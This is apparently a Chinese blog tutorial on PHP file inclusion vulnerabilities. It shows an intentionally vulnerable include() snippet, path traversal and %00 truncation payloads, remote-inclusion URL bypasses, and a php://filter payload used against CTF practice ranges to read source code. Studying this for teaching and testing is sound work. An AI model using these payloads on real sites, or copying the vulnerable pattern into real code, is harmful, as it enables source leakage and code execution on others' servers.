简单了解WEB漏洞-文件包含漏洞

原理

文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

演示代码

<?php
$filename = $_GET['filename']
include($filename)
?> 

在网站目录下有一个php.txt文件 文件的内容是<?php phpinfo();?>

向filename传参将1.txt包含进去

127.0.0.1/test,php?filename=1.txt

简单了解WEB漏洞-文件包含漏洞

成功执行php代码

文件包含还可以包含不同目录下的文件,我在D盘根目录下有一个1.txt 内容同样是<?php phpinfo();?>

简单了解WEB漏洞-文件包含漏洞

因此url应该这样写

127.0.0.1/test,php?filename=../../../1.txt

简单了解WEB漏洞-文件包含漏洞

文件包含各个脚本代码

ASP,PHP,JSP,ASPX等

<!--#include file="1.asp" -->

<!--#include file="top.aspx" -->

<c:import url="http://thief.one/1.jsp">

<jsp:include page="head.jsp"/>

<%@ include file="head.jsp"%>

<?php Include('test.php')?>

本地包含-有限制

<?php
$filename=$_GET['filename'];
include($filename.".html");
?> 

绕过方法

%00截断:条件:magic_quotes_gpc = Off php版本<5.3.4

filename=…/…/…/www.txt%00

长度截断:条件:windows,点号需要长于256;linux 长于4096

远程包含-有限制

简单了解WEB漏洞-文件包含漏洞

只有这个开关打开才允许远程上传

无限制

http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt

有限制

http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt

http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt%23

http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt?

各种协议流玩法

各环境支持的协议

简单了解WEB漏洞-文件包含漏洞

php伪协议

php伪协议 - 看不尽的尘埃 - 博客园 (cnblogs.com)

简单了解WEB漏洞-文件包含漏洞

靶场演

https://www.ichunqiu.com/battalion?t=1&r=0

简单了解WEB漏洞-文件包含漏洞

简单了解WEB漏洞-文件包含漏洞

根据代码可知传递path值即可

使用php伪协议

简单了解WEB漏洞-文件包含漏洞

发现一个可疑的php文件

简单了解WEB漏洞-文件包含漏洞

访问看下

简单了解WEB漏洞-文件包含漏洞

查看页面源代码

简单了解WEB漏洞-文件包含漏洞

完事

靶场二

asdf (chinalover.sinaapp.com)

简单了解WEB漏洞-文件包含漏洞

url上有一个file可以猜测是包含的文件名

使用php伪协议读取文件源码

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

简单了解WEB漏洞-文件包含漏洞

base64加密

简单了解WEB漏洞-文件包含漏洞

解码后的结果

上一篇:【无标题】javaweb文件上传与下载


下一篇:django_admin用法